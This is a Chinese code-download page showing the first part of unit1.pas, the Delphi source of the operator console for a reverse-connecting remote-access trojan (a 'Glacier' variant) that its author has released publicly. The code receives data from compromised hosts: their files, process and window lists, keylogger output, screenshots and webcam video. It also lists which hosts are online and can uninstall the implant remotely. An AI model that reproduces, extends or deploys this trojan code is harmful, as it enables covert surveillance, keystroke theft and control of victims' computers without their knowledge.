⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 unit1.pas

📁 冰河反弹版之独孤夕客专版 今天我决定把这个版本的冰河反弹版程序源码公布
💻 PAS
📖 第 1 页 / 共 2 页
字号:

        if Tmpmemo.Text='' then
         begin
          Tmpmemo.Free;
          FileForm.Enabled:=true;
          Exit;
        end;
       FileForm.Treeview1.items.Delete(FileForm.Treeview1.Selected.getFirstChild);
       for i:=0 to Tmpmemo.Count-1 do
       begin
        Tmplinestr := Tmpmemo.Strings[i];
        Symbolstr := Copy(tmplinestr, 1, 1);
        Tmptimestr := Copy(tmplinestr, 2, 16);
        Delete(tmplinestr, 1, 17);
       if symbolstr = '*' then
       begin
        TMP := FileForm.Treeview1.items.AddChild(FileForm.Treeview1.Selected, Tmplinestr);
        TMP.ImageIndex := 8;
        TMP.SelectedIndex := 9;
        TMP := FileForm.Treeview1.items.AddChild(TMP, '.');
        TMP.ImageIndex := -1;
        TMP.SelectedIndex := -1;
        with FileForm.ListView1.Items.Add do
        begin
          Caption := tmplinestr;
          subitems.text := ' ';
          FileForm.ListView1.Items.Item[i].SubItems.Add(Tmptimestr);
          ImageIndex := 3;
        end;
       end;
      if symbolstr = '\' then
        begin
        with FileForm.ListView1.Items.Add do
        begin
          Caption := copy(tmplinestr, length(getfilesize(tmplinestr)) + 2, length(tmplinestr));
          subitems.text := getfilesize(tmplinestr);
          ImageIndex :=5 ;
        end;
       end;
       end;


        end;
       FileForm.Enabled:=true;
     end;
013:begin
     try
      AFileStream := TFileStream.Create(SaveDialog1.FileName, fmCreate);
      AThread.Connection.OnWork:=  MainForm.IdTCPServer1Work;
      AThread.Connection.OnWorkBegin:=MainForm.IdTCPServer1WorkBegin;
      AThread.Connection.OnWorkEnd:=  MainForm.IdTCPServer1WorkEnd;
      ASize:= AThread.Connection.ReadInteger();
      AThread.Connection.ReadStream(AFileStream, ASize);
      finally
      AFileStream.Free;
      end;
    end;
020:begin
      if ReadSeverStream(AThread,TempStr) then
      begin
     ProcessForm.ListView1.Items.Clear;
     Tmpmemo := TStringList.Create;
     Tmpmemo.Text:=TempStr;
     // ----添加
               j := 0;
          for i := 0 to Tmpmemo.Count - 1 do
          begin
            if Tmpmemo.Strings[i] = '' then break;
            j := j + 1;
            if j = 1 then
            begin
              TheLItem :=ProcessForm.ListView1.Items.Add;
              TheLItem.Caption := Tmpmemo[i];
            end;
            if j = 2 then TheLItem.SubItems.Add(Tmpmemo[i]);
            if j = 3 then TheLItem.SubItems.Add(Tmpmemo[i]);
            if j = 4 then
            begin
              if StrToInt(Tmpmemo[i]) <= 2 then TheLItem.SubItems.Add('暂缺') else
                if StrToInt(Tmpmemo[i]) <= 4 then TheLItem.SubItems.Add('低') else
                  if StrToInt(Tmpmemo[i]) <= 6 then TheLItem.SubItems.Add('低于标准') else
                    if StrToInt(Tmpmemo[i]) <= 8 then TheLItem.SubItems.Add('标准') else
                      if StrToInt(Tmpmemo[i]) <= 10 then TheLItem.SubItems.Add('高于标准') else
                        if StrToInt(Tmpmemo[i]) <= 13 then TheLItem.SubItems.Add('高') else
                          if StrToInt(Tmpmemo[i]) <= 24 then TheLItem.SubItems.Add('实时') else
                            TheLItem.SubItems.Add('暂缺');
            end;
            if j = 5 then
            begin
              TheLItem.SubItems.Add(Tmpmemo[i]);
              j := 0;
            end;
          end;
          Tmpmemo.Free;

      end;

    end;
030:begin
        MyStream:=TMemoryStream.Create;
        i := AThread.Connection.ReadInteger;
        AThread.Connection.ReadStream(MyStream, i, False);
        MyStream.Position := 0;
        WindowForm.ListBox1.Items.LoadFromStream(MyStream);
        MyStream.Free;
    end;
040:begin
      if ReadSeverStream(AThread,TempStr) then
      begin
       if TempStr='Cmd009' then
         KeyForm.Memo1.Lines.Add('启动键盘记录成功!查看记录前请先终止键盘记录!');
       if TempStr='Cmd010' then
         KeyForm.Memo1.Lines.Add('键盘记录已经启动过了!');
      end;
    end;
041:begin
      if ReadSeverStream(AThread,TempStr) then
      begin
        if TempStr='Cmd012' then
          KeyForm.Memo1.Lines.Add('终止键盘记录成功!');
      end;
    end;
042:begin
        MyStream:=TMemoryStream.Create;
        i := AThread.Connection.ReadInteger;
        AThread.Connection.ReadStream(MyStream, i, False);
        MyStream.Position := 0;
        KeyForm.Memo1.Lines.LoadFromStream(MyStream);
        MyStream.Free;
    end;
043:begin
      if ReadSeverStream(AThread,TempStr) then
      begin
      if TempStr='Cmd014' then
         KeyForm.Memo1.Lines.Add('清空键盘记录完成!');
      end;
    end;
050:begin
     BufferLen:= AThread.Connection.ReadInteger();
     AThread.Connection.ReadBuffer(MyBuffer,BufferLen);
     MyFirstBmp.Clear;
     MyFirstBmp.Write(MyBuffer,BufferLen);
     MyFirstBmp.Position := 0;
     ShowImageForm.Show;
     ShowImageForm.Image1.Picture.Bitmap.LoadFromStream(MyFirstBmp);
    end;
060:begin
   try
 //   repeat
    while AThread.Connection.Connected do
    begin
    memStream := TMemoryStream.Create;
    BufferLen := AThread.Connection.ReadInteger;
    memStream.Size := BufferLen;
    AThread.Connection.ReadBuffer(memStream.Memory^, BufferLen);
    jpg := TJpegImage.Create;
    jpg.LoadFromStream(memStream);
    VideoForm.Image1.Picture.Bitmap.Assign(jpg);
    jpg.Free;
    memStream.Free;
  //  until (AThread.Connection.Connected=False);
    end;
   except
   end;
   end;
061:begin                      //擦测到摄像头
     for i:=0 to count-1 do
     begin
      if  OnlineServer[i].Soc = AThread.ThreadID then
      begin
        for j:=0 to ListView1.Items.Count-1 do
          if ListView1.Items.Item[j].Caption = OnlineServer[i].ServerName+'-'+inttostr(OnlineServer[i].Soc) then
          begin
              ListView1.Items.Item[j].ImageIndex:= 1;
              break;
          end;
      end;
    end;
   end;
062:begin
     for i:=0 to count-1 do
     begin
      if  OnlineServer[i].Soc = AThread.ThreadID then
      begin
        for j:=0 to ListView1.Items.Count-1 do
          if ListView1.Items.Item[j].Caption = OnlineServer[i].ServerName+'-'+inttostr(OnlineServer[i].Soc) then
          begin
              ListView1.Items.Item[j].ImageIndex:= 0;
              break;
          end;
      end;
    end;
    end;
064:begin
     if ReadSeverStream(AThread,TempStr) then
        VideoForm.StatusBar1.SimpleText:=TempStr;
    end;
   end;  //end case
end;

procedure TMainForm.ListView1Click(Sender: TObject);
var
i:integer;
begin
    //showmessage(inttostr(ListView1.ItemIndex ));
    if ListView1.Items.Count<>0 then
    if ListView1.ItemIndex <> -1 then
   for i:=0 to count-1 do
    begin
     if  OnlineServer[i].ServerName+'-'+inttostr(OnlineServer[i].Soc) =ListView1.Items.Item[ListView1.ItemIndex ].Caption then //ListView1.Selected.Caption then
     begin
        CurrentThread:= OnlineServer[i].AThread;
        break;
     end;
    end;

end;

procedure TMainForm.ListView1Change(Sender: TObject; Item: TListItem;
  Change: TItemChange);
begin
   StatusBar1.Panels.Items[1].Text:='在线主机'+inttostr(ListView1.Items.Count)+'台';
end;

procedure TMainForm.IdTCPServer1Disconnect(AThread: TIdPeerThread);
var
i,j:integer;
begin
    for i:=0 to count-1 do
    begin
     if  OnlineServer[i].Soc = AThread.ThreadID then
     begin
        for j:=0 to ListView1.Items.Count-1 do
        begin
          if ListView1.Items.Item[j].Caption = OnlineServer[i].ServerName+'-'+inttostr(OnlineServer[i].Soc) then
          begin
              ListView1.Items.Item[j].Delete;
              StatusBar1.Panels.Items[1].Text:='在线主机'+inttostr(ListView1.Items.Count)+'台';
              break;
          end;
        end;
        j:=i;
        while j < count-1 do
        begin
         OnlineServer[j].ServerName:=OnlineServer[j+1].ServerName;
         OnlineServer[j].AThread:=OnlineServer[j+1].AThread;
         OnlineServer[j].Soc:= OnlineServer[j+1].Soc;
         OnlineServer[j].ServerAdd:=OnlineServer[j+1].ServerAdd;
         OnlineServer[j].AdderStr:= OnlineServer[j+1].AdderStr;
         inc(j);
        end;
       dec(count);
       break;
      end;

    end;
end;

procedure TMainForm.SpeedButton6Click(Sender: TObject);
begin
   ZhuDongCmdSend('020','',false);
   ProcessForm.Show;
end;

procedure TMainForm.SpeedButton7Click(Sender: TObject);
begin
   ZhuDongCmdSend('030','',false);
   WindowForm.Show;
end;

procedure TMainForm.SpeedButton8Click(Sender: TObject);
begin
   KeyForm.Show;
end;

procedure TMainForm.CapScrBtnClick(Sender: TObject);
begin
    ZhuDongCmdSend('050', '', false);
end;

procedure TMainForm.MsgerBtnClick(Sender: TObject);
begin
   VideoForm.Show;
end;

procedure TMainForm.N11Click(Sender: TObject);
begin
   CtreatSForm.Show;
end;

procedure TMainForm.IdTCPServer1Work(Sender: TObject;
  AWorkMode: TWorkMode; const AWorkCount: Integer);
begin
  try
    ProgressForm.Gauge1.Progress := AWorkCount;
    Application.ProcessMessages;
  except
  end;
end;

procedure TMainForm.IdTCPServer1WorkBegin(Sender: TObject;
  AWorkMode: TWorkMode; const AWorkCountMax: Integer);
begin
  try
    ProgressForm.Gauge1.Progress := 0;
    ProgressForm.Gauge1.MaxValue := AWorkCountMax;
  except
  end;
end;

procedure TMainForm.IdTCPServer1WorkEnd(Sender: TObject;
  AWorkMode: TWorkMode);
begin
   ProgressForm.Close;
end;

procedure TMainForm.RemoveComputerBtnClick(Sender: TObject);
begin
   if MessageBox(Application.Handle,'你确定要卸载远程服务端吗?这样你将失去对远程主机的控制!','提示!',MB_OKCANCEL)=1 then
      ZhuDongCmdSend('080','',false);
end;

procedure TMainForm.N3Click(Sender: TObject);
begin
   Close;
end;

procedure TMainForm.N2Click(Sender: TObject);
begin
    AutoForm.Show;
end;

procedure TMainForm.ExitBtnClick(Sender: TObject);
begin
   close;
end;

procedure TMainForm.N13Click(Sender: TObject);
begin
   AboutForm.Show;
end;

procedure TMainForm.HideBtnClick(Sender: TObject);
begin
    application.Minimize;
end;

procedure TMainForm.N14Click(Sender: TObject);
begin
   ShellExecute(0,nil,PChar('http://www.duguxike.com'), nil, nil, SW_NORMAL);
end;

end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -